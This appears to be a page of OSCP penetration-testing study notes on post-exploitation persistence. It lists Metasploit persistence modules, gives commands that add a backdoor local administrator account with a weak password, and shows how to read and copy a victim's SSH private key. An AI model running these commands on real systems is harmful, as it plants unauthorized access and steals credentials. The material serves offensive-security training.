> For the complete documentation index, see [llms.txt](https://oscp.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oscp.adot8.com/post-exploitation/persistence.md).

# Persistence

## Windows Persistence

### Metasploit persistence script

```bash
exploit/windows/local/registry_persistence
exploit/windows/local/persistence
run persistence -h
run scheduleme
run schtaskabuse
```

### Manual persistence

Add a user

```powerquery
net user adot8 Password1 /add
net localgroup Administrators adot8 /add
net localgroup "Remote Management Users" adot8 /add
```

## Linux Persistence

Copy and save a copy of the ssh key

```
cat ~/.ssh/id_rsa
```

```
vim copy_id_rsa
chmod 600 copy_id_rsa
```
